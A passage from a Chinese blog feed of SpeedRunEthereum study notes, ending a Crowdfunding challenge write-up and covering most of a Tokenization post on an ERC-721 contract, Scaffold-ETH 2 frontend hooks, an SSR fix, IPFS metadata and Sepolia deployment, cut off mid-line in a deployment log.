的 <code>if</code> 语法没有 <code>then</code>。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">if (condition) {</span><br><span class="line"> // ...</span><br><span class="line">} else {</span><br><span class="line"> // ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="成功分支不要写多余状态"><a href="#成功分支不要写多余状态" class="headerlink" title="成功分支不要写多余状态"></a>成功分支不要写多余状态</h3><p>如果众筹成功，资金会被转给 <code>FundingRecipient</code>。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fundingRecipient.complete{value: address(this).balance}();</span><br></pre></td></tr></table></figure></div><p>这里不需要额外设置 <code>openToWithdraw = false</code>。默认就是 <code>false</code>，成功分支也不应该开放退款。</p><h3 id="直接转账测试-receive"><a href="#直接转账测试-receive" class="headerlink" title="直接转账测试 receive()"></a>直接转账测试 <code>receive()</code></h3><p>Debug Contracts 页面不一定提供 <code>receive()</code> 按钮。可以通过 MetaMask 直接发送 ETH，或用 <code>cast send</code> 对合约地址转账。</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cast send <contract_address> --value 0.1ether --private-key <private_key></span><br></pre></td></tr></table></figure></div><p>注意：真实私钥不要写进博客、命令历史或仓库文件。</p><h2 id="专题十二：项目结构"><a href="#专题十二：项目结构" class="headerlink" title="专题十二：项目结构"></a>专题十二：项目结构</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">challenge-crowdfunding/</span><br><span class="line">├── packages/</span><br><span class="line">│ ├── foundry/</span><br><span class="line">│ │ ├── contracts/</span><br><span class="line">│ │ │ ├── CrowdFund.sol</span><br><span class="line">│ │ │ └── FundingRecipient.sol</span><br><span class="line">│ │ ├── script/</span><br><span class="line">│ │ │ ├── Deploy.s.sol</span><br><span class="line">│ │ │ └── DeployCrowdFund.s.sol</span><br><span class="line">│ │ ├── test/</span><br><span class="line">│ │ │ └── CrowdFund.t.sol</span><br><span class="line">│ │ ├── foundry.toml</span><br><span class="line">│ │ ├── .env</span><br><span class="line">│ │ └── keystore/</span><br><span class="line">│ └── nextjs/</span><br><span class="line">│ ├── scaffold.config.ts</span><br><span class="line">│ ├── app/</span><br><span class="line">│ │ ├── crowdfund/page.tsx</span><br><span class="line">│ │ └── contributions/page.tsx</span><br><span class="line">│ └── contracts/deployedContracts.ts</span><br><span class="line">├── .challenge-ai/progress.json</span><br><span class="line">├── AGENTS.md</span><br><span class="line">├── CLAUDE.md</span><br><span class="line">└── package.json</span><br></pre></td></tr></table></figure></div><p><code>keystore/</code>、<code>.env</code> 和各种 API key 都不能提交。博客文章只保留公开链上地址、公开交易哈希和通关流程。</p><h2 id="核心收获"><a href="#核心收获" class="headerlink" title="核心收获"></a>核心收获</h2><ol><li>众筹合约本质是状态机，状态迁移必须由交易触发。</li><li><code>balances[msg.sender] += msg.value</code> 是退款记账的基础，不能覆盖。</li><li><code>call</code> 发 ETH 必须配合 CEI，否则容易出现重入风险。</li><li><code>block.timestamp</code> 只能作为链上时间参考，不能自动触发执行。</li><li><code>receive()</code> 能改善直接转账体验，但必须确保它也走正确记账路径。</li><li>Foundry 测试比手测可靠，尤其适合覆盖时间、退款和重入边界。</li><li>Etherscan 验证让评审能直接读取源码，是公开测试网部署的一部分。</li></ol><h2 id="有用链接"><a href="#有用链接" class="headerlink" title="有用链接"></a>有用链接</h2><ul><li>Challenge：<a class="link" href="https://speedrunethereum.com/challenge/crowdfunding" >https://speedrunethereum.com/challenge/crowdfunding<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>我的 Portfolio：<a class="link" href="https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f7" >https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f7<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Sepolia Etherscan：<a class="link" href="https://sepolia.etherscan.io/" >https://sepolia.etherscan.io<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Vercel：<a class="link" href="https://vercel.com/" >https://vercel.com<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Foundry 文档：<a class="link" href="https://book.getfoundry.sh/" >https://book.getfoundry.sh<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><h2 id="系列进度与后续方向"><a href="#系列进度与后续方向" class="headerlink" title="系列进度与后续方向"></a>系列进度与后续方向</h2><p>Ethereum 101 的 Token Vendor 和 Dice Game 也已完成，当前进度为 4/4。Advanced 部分可以继续研究 Build a DEX，把 ERC-20、AMM、流动性池和恒定乘积公式串起来，作为理解 DeFi 的后续入口。</p>]]></content>
<summary type="html"></summary>
<category term="区块链开发" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/SpeedRunEthereum/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/tags/SpeedRunEthereum/"/>
<category term="Scaffold-ETH 2" scheme="https://kylinxin.github.io/tags/Scaffold-ETH-2/"/>
<category term="Foundry" scheme="https://kylinxin.github.io/tags/Foundry/"/>
<category term="Crowdfunding" scheme="https://kylinxin.github.io/tags/Crowdfunding/"/>
<category term="合约安全" scheme="https://kylinxin.github.io/tags/%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 00：Tokenization</title>
<link href="https://kylinxin.github.io/2026/06/21/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2000%EF%BC%9ATokenization/"/>
<id>https://kylinxin.github.io/2026/06/21/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2000%EF%BC%9ATokenization/</id>
<published>2026-06-21T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 0 关 Tokenization 聚焦 NFT 全栈开发：合约编写、测试、本地交互、Sepolia 部署、Etherscan 验证、Vercel 上线，以及最终提交通关。</p></blockquote><ul><li>关卡：Tokenization</li><li>完成日期：2026/06/21</li><li>状态：✅ ACCEPTED（+10 XP）</li><li>Ethereum 101 系列进度：✅ 5/5</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>构建一个可以铸造和转移 NFT 的 dApp，并把它部署到公开测试网和线上前端。</p><p>最终交付物包括：</p><ol><li>ERC-721 合约 <code>YourCollectible</code>。</li><li>可铸造、展示、转账 NFT 的 Next.js 前端。</li><li>部署到 Sepolia 的合约。</li><li>Etherscan 合约源码验证。</li><li>部署到 Vercel 的线上 dApp。</li><li>在 SpeedRunEthereum 提交并通过验证。</li></ol><h2 id="挑战完成记录"><a href="#挑战完成记录" class="headerlink" title="挑战完成记录"></a>挑战完成记录</h2><table><thead><tr><th>类别</th><th>内容</th></tr></thead><tbody><tr><td>部署钱包</td><td><code>0x6d1cd1d9f7226de5af18a7f9fd64e3aa6e81ca04</code></td></tr><tr><td>用户钱包</td><td><code>0x7FB24f7c6BE7fE61dA353E2A0fEf38b310aE71f7</code></td></tr><tr><td>Sepolia 合约</td><td><code>0x2A4CDe1F94421E1230F71c9245A5ef237893521C</code></td></tr><tr><td>Etherscan</td><td><a class="link" href="https://sepolia.etherscan.io/address/0x2A4CDe1F94421E1230F71c9245A5ef237893521C" >https://sepolia.etherscan.io/address/0x2A4CDe1F94421E1230F71c9245A5ef237893521C<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td>Vercel 前端</td><td><a class="link" href="https://tokenization-ky.vercel.app/" >https://tokenization-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td>区块号</td><td><code>11113078</code></td></tr><tr><td>部署成本</td><td>约 <code>0.0092 ETH</code></td></tr></tbody></table><h2 id="专题一：Tokenization-与-ERC-721"><a href="#专题一：Tokenization-与-ERC-721" class="headerlink" title="专题一：Tokenization 与 ERC-721"></a>专题一：Tokenization 与 ERC-721</h2><p>Tokenization 的核心是把某种所有权表达为链上资产。NFT 不只是图片，它更重要的意义在于标准化的链上唯一所有权。</p><p>ERC-721 和 ERC-20 的关键区别：</p><table><thead><tr><th>标准</th><th>特性</th><th>例子</th></tr></thead><tbody><tr><td>ERC-20</td><td>同质化，每个 token 等价</td><td>USDT、USDC、DAI</td></tr><tr><td>ERC-721</td><td>非同质化，每个 token 独一无二</td><td>NFT、ENS、Uniswap V3 LP 仓位</td></tr></tbody></table><p>ERC-721 的基础接口包括：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">function ownerOf(uint256 tokenId) external view returns (address);</span><br><span class="line">function balanceOf(address owner) external view returns (uint256);</span><br><span class="line">function tokenURI(uint256 tokenId) external view returns (string memory);</span><br><span class="line"></span><br><span class="line">function transferFrom(address from, address to, uint256 tokenId) external payable;</span><br><span class="line">function safeTransferFrom(address from, address to, uint256 tokenId) external payable;</span><br><span class="line"></span><br><span class="line">function approve(address to, uint256 tokenId) external payable;</span><br><span class="line">function setApprovalForAll(address operator, bool approved) external;</span><br><span class="line"></span><br><span class="line">event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);</span><br><span class="line">event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);</span><br><span class="line">event ApprovalForAll(address indexed owner, address indexed operator, bool approved);</span><br></pre></td></tr></table></figure></div><p>这一关使用 OpenZeppelin 的三件套：</p><table><thead><tr><th>合约</th><th>作用</th></tr></thead><tbody><tr><td><code>ERC721</code></td><td>基础 ERC-721 实现：铸造、销毁、转移、授权</td></tr><tr><td><code>ERC721Enumerable</code></td><td>支持枚举一个地址持有的所有 tokenId</td></tr><tr><td><code>ERC721URIStorage</code></td><td>支持每个 token 单独设置 tokenURI</td></tr></tbody></table><p>其中 <code>Enumerable</code> 解决“如何列出我的所有 NFT”，<code>URIStorage</code> 解决“每个 NFT 如何对应自己的 metadata”。</p><h2 id="专题二：YourCollectible-合约实现"><a href="#专题二：YourCollectible-合约实现" class="headerlink" title="专题二：YourCollectible 合约实现"></a>专题二：YourCollectible 合约实现</h2><p>核心合约如下：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity ^0.8.20;</span><br><span class="line"></span><br><span class="line">import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";</span><br><span class="line">import {ERC721Enumerable} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";</span><br><span class="line">import {ERC721URIStorage} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";</span><br><span class="line">import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";</span><br><span class="line"></span><br><span class="line">contract YourCollectible is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {</span><br><span class="line"> uint256 private _nextTokenId;</span><br><span class="line"> string private _baseTokenURI = "https://ipfs.io/ipfs/";</span><br><span class="line"></span><br><span class="line"> constructor() ERC721("YourCollectible", "YCB") Ownable(msg.sender) {}</span><br><span class="line"></span><br><span class="line"> function mintItem(address to, string memory uri) public {</span><br><span class="line"> uint256 tokenId = _nextTokenId++;</span><br><span class="line"> _mint(to, tokenId);</span><br><span class="line"> _setTokenURI(tokenId, uri);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function _update(address to, uint256 tokenId, address auth)</span><br><span class="line"> internal</span><br><span class="line"> override(ERC721, ERC721Enumerable)</span><br><span class="line"> returns (address)</span><br><span class="line"> {</span><br><span class="line"> return super._update(to, tokenId, auth);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function _increaseBalance(address account, uint128 value)</span><br><span class="line"> internal</span><br><span class="line"> override(ERC721, ERC721Enumerable)</span><br><span class="line"> {</span><br><span class="line"> super._increaseBalance(account, value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function tokenURI(uint256 tokenId)</span><br><span class="line"> public</span><br><span class="line"> view</span><br><span class="line"> override(ERC721, ERC721URIStorage)</span><br><span class="line"> returns (string memory)</span><br><span class="line"> {</span><br><span class="line"> return super.tokenURI(tokenId);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function supportsInterface(bytes4 interfaceId)</span><br><span class="line"> public</span><br><span class="line"> view</span><br><span class="line"> override(ERC721, ERC721Enumerable, ERC721URIStorage)</span><br><span class="line"> returns (bool)</span><br><span class="line"> {</span><br><span class="line"> return super.supportsInterface(interfaceId);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>关键点：</p><ol><li><code>_nextTokenId++</code> 用计数器生成唯一 tokenId。</li><li><code>_mint(to, tokenId)</code> 完成铸造，并触发 <code>Transfer(address(0), to, tokenId)</code>。</li><li><code>_setTokenURI(tokenId, uri)</code> 把 metadata URI 绑定到 tokenId。</li><li><code>mintItem</code> 是 <code>public</code>，没有 <code>onlyOwner</code>，所以任何人都能铸造。这是挑战设计的一部分，用于展示 ERC-721 的开放铸造流程。</li></ol><h2 id="专题三：OpenZeppelin-v5-的钻石继承问题"><a href="#专题三：OpenZeppelin-v5-的钻石继承问题" class="headerlink" title="专题三：OpenZeppelin v5 的钻石继承问题"></a>专题三：OpenZeppelin v5 的钻石继承问题</h2><p>第一次编译时遇到的核心错误是：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Error: Derived contract must override function _update.</span><br><span class="line">Two or more base classes define function with same name and parameter types.</span><br><span class="line"></span><br><span class="line">Error: Derived contract must override function _increaseBalance.</span><br><span class="line">Error: Derived contract must override function tokenURI.</span><br><span class="line">Error: Derived contract must override function supportsInterface.</span><br></pre></td></tr></table></figure></div><p>原因是 <code>YourCollectible</code> 同时继承了多个 ERC-721 扩展，而这些父合约都重写了同一批函数。</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> ERC721</span><br><span class="line"> / \</span><br><span class="line">ERC721Enumerable ERC721URIStorage</span><br><span class="line"> \ /</span><br><span class="line"> YourCollectible</span><br></pre></td></tr></table></figure></div><p>Solidity 无法自动判断该使用哪一个父类实现，所以子合约必须显式重写冲突函数，并在 <code>override(...)</code> 中列出相关父类。</p><p>四个必须处理的函数：</p><table><thead><tr><th>函数</th><th>作用</th></tr></thead><tbody><tr><td><code>_update</code></td><td>mint、burn、transfer 的核心状态更新</td></tr><tr><td><code>_increaseBalance</code></td><td>账户 NFT 数量更新，Enumerable 也依赖它维护索引</td></tr><tr><td><code>tokenURI</code></td><td>决定 metadata URI 的读取逻辑</td></tr><tr><td><code>supportsInterface</code></td><td>ERC-165 接口支持声明</td></tr></tbody></table><p>正确写法的原则是：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">function foo(...) public override(A, B, C) {</span><br><span class="line"> super.foo(...);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><code>override(...)</code> 表示“这个冲突由当前合约统一接住”，<code>super</code> 表示“继续沿 Solidity 的 C3 线性化顺序调用父类逻辑”。不要自己重写一套父类状态更新逻辑，否则很容易破坏 Enumerable 的索引一致性。</p><h2 id="专题四：Scaffold-ETH-2-前端结构"><a href="#专题四：Scaffold-ETH-2-前端结构" class="headerlink" title="专题四：Scaffold-ETH 2 前端结构"></a>专题四：Scaffold-ETH 2 前端结构</h2><p>这一关基于 Scaffold-ETH 2。前端核心目录：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">packages/nextjs/</span><br><span class="line">├── app/</span><br><span class="line">│ ├── myNFTs/ # 铸造 NFT + 我的收藏</span><br><span class="line">│ ├── transfers/page.tsx # Transfer 事件列表</span><br><span class="line">│ ├── ipfsUpload/page.tsx # 上传图片到 IPFS</span><br><span class="line">│ ├── ipfsDownload/page.tsx # 从 IPFS 读取</span><br><span class="line">│ └── api/ipfs/ # IPFS pinning API 路由</span><br><span class="line">├── components/</span><br><span class="line">├── hooks/scaffold-eth/</span><br><span class="line">├── services/web3/wagmiConfig.tsx</span><br><span class="line">├── utils/tokenization/</span><br><span class="line">│ ├── nftsMetadata.ts</span><br><span class="line">│ ├── ipfs.ts</span><br><span class="line">│ └── ipfs-fetch.ts</span><br><span class="line">├── contracts/deployedContracts.ts</span><br><span class="line">└── scaffold.config.ts</span><br></pre></td></tr></table></figure></div><p>几个容易踩错的 hook 名称：</p><table><thead><tr><th>旧写法</th><th>当前写法</th></tr></thead><tbody><tr><td><code>useScaffoldContractRead</code></td><td><code>useScaffoldReadContract</code></td></tr><tr><td><code>useScaffoldContractWrite</code></td><td><code>useScaffoldWriteContract</code></td></tr><tr><td><code>useDeployedContractInfo</code></td><td><code>useScaffoldContract</code></td></tr></tbody></table><p>读合约：</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { useScaffoldReadContract } <span class="keyword">from</span> <span class="string">"~~/hooks/scaffold-eth"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: tokenIdCounter } = <span class="title function_">useScaffoldReadContract</span>({</span><br><span class="line"> <span class="attr">contractName</span>: <span class="string">"YourCollectible"</span>,</span><br><span class="line"> <span class="attr">functionName</span>: <span class="string">"tokenIdCounter"</span>,</span><br><span class="line">});</span><br></pre></td></tr></table></figure></div><p>写合约：</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { useScaffoldWriteContract } <span class="keyword">from</span> <span class="string">"~~/hooks/scaffold-eth"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> { writeContractAsync, isMining } = <span class="title function_">useScaffoldWriteContract</span>(<span class="string">"YourCollectible"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">await</span> <span class="title function_">writeContractAsync</span>({</span><br><span class="line"> <span class="attr">functionName</span>: <span class="string">"mintItem"</span>,</span><br><span class="line"> <span class="attr">args</span>: [address, ipfsUri],</span><br><span class="line">});</span><br></pre></td></tr></table></figure></div><p>监听事件：</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { useScaffoldEventHistory } <span class="keyword">from</span> <span class="string">"~~/hooks/scaffold-eth"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: transferEvents } = <span class="title function_">useScaffoldEventHistory</span>({</span><br><span class="line"> <span class="attr">contractName</span>: <span class="string">"YourCollectible"</span>,</span><br><span class="line"> <span class="attr">eventName</span>: <span class="string">"Transfer"</span>,</span><br><span class="line"> <span class="attr">fromBlock</span>: <span class="number">0n</span>,</span><br><span class="line"> <span class="attr">watch</span>: <span class="literal">true</span>,</span><br><span class="line">});</span><br></pre></td></tr></table></figure></div><h2 id="专题五：RainbowKit-SSR-问题"><a href="#专题五：RainbowKit-SSR-问题" class="headerlink" title="专题五：RainbowKit SSR 问题"></a>专题五：RainbowKit SSR 问题</h2><p>本地打开 Next.js 前端时曾遇到 500：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">TypeError: localStorage.getItem is not a function</span><br><span class="line"> at getWalletConnectConnector (rainbowkit/dist/index.js)</span><br></pre></td></tr></table></figure></div><p>根因是 RainbowKit 初始化时读取 <code>localStorage</code>，但 Next.js App Router 默认会先做 SSR，服务端环境没有 <code>localStorage</code>。</p><p>失败方案是只在 Provider 内部用 <code>mounted</code> 判断，因为 <code>RainbowKitProvider</code> 自身初始化时已经访问了 <code>localStorage</code>。</p><p>正确方案是把整个 Provider 树改成客户端动态加载：</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// components/ClientProviders.tsx</span></span><br><span class="line"><span class="string">"use client"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> dynamic <span class="keyword">from</span> <span class="string">"next/dynamic"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title class_">ScaffoldEthAppWithProviders</span> = <span class="title function_">dynamic</span>(</span><br><span class="line"> <span class="function">() =></span> <span class="keyword">import</span>(<span class="string">"~~/components/ScaffoldEthAppWithProviders"</span>).<span class="title function_">then</span>(<span class="function"><span class="params">m</span> =></span> m.<span class="property">ScaffoldEthAppWithProviders</span>),</span><br><span class="line"> {</span><br><span class="line"> <span class="attr">ssr</span>: <span class="literal">false</span>,</span><br><span class="line"> <span class="attr">loading</span>: <span class="function">() =></span> <span class="literal">null</span>,</span><br><span class="line"> },</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> <span class="title function_">ClientProviders</span> = (<span class="params">{ children }: { children: React.ReactNode }</span>) => {</span><br><span class="line"> <span class="keyword">return</span> <span class="language-xml"><span class="tag"><<span class="name">ScaffoldEthAppWithProviders</span>></span>{children}<span class="tag"></<span class="name">ScaffoldEthAppWithProviders</span>></span></span>;</span><br><span class="line">};</span><br></pre></td></tr></table></figure></div><p>这样服务端不会执行 RainbowKit Provider，只有浏览器 hydrate 后才加载，<code>window</code> 和 <code>localStorage</code> 已经可用。</p><h2 id="专题六：IPFS-与-NFT-metadata-流程"><a href="#专题六：IPFS-与-NFT-metadata-流程" class="headerlink" title="专题六：IPFS 与 NFT metadata 流程"></a>专题六：IPFS 与 NFT metadata 流程</h2><p>NFT 图片和 metadata 不直接存链上。链上只保存 tokenId、owner、approval、tokenURI 等关键状态，图片和 JSON metadata 放在 IPFS。</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">前端选择 NFT metadata</span><br><span class="line"> ↓</span><br><span class="line">POST /api/ipfs/add</span><br><span class="line"> ↓</span><br><span class="line">Pinata pinning</span><br><span class="line"> ↓</span><br><span class="line">返回 ipfs://Qm...</span><br><span class="line"> ↓</span><br><span class="line">mintItem(to, ipfsUri)</span><br><span class="line"> ↓</span><br><span class="line">链上记录 tokenURI</span><br><span class="line"> ↓</span><br><span class="line">Transfer 事件被前端读取并展示</span><br></pre></td></tr></table></figure></div><p>这种设计的原因是链上存储非常贵。IPFS 的优势是内容寻址，<code>ipfs://Qm...</code> 本质上是内容哈希，只要有人继续 pin 这份文件，内容就可以被验证和读取。</p><h2 id="专题七：部署到-Sepolia"><a href="#专题七：部署到-Sepolia" class="headerlink" title="专题七：部署到 Sepolia"></a>专题七：部署到 Sepolia</h2><p>常用命令：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">yarn install</span><br><span class="line">yarn chain</span><br><span class="line">yarn deploy</span><br><span class="line">yarn <span class="built_in">test</span></span><br><span class="line">yarn generate</span><br><span class="line">yarn deploy --network sepolia</span><br></pre></td></tr></table></figure></div><p><code>yarn deploy --network sepolia</code> 背后的链路大致是：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">yarn deploy</span><br><span class="line"> ↓</span><br><span class="line">node scripts-js/parseArgs.js</span><br><span class="line"> ↓</span><br><span class="line">make deploy network=sepolia</span><br><span class="line"> ↓</span><br><span class="line">forge script script/Deploy.s.sol --rpc-url <sepolia> --broadcast</span><br></pre></td></tr></table></figure></div><p>部署成功记录：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Deploying YourCollectible...</span><br><span class="line">Deployed YourCollectible at 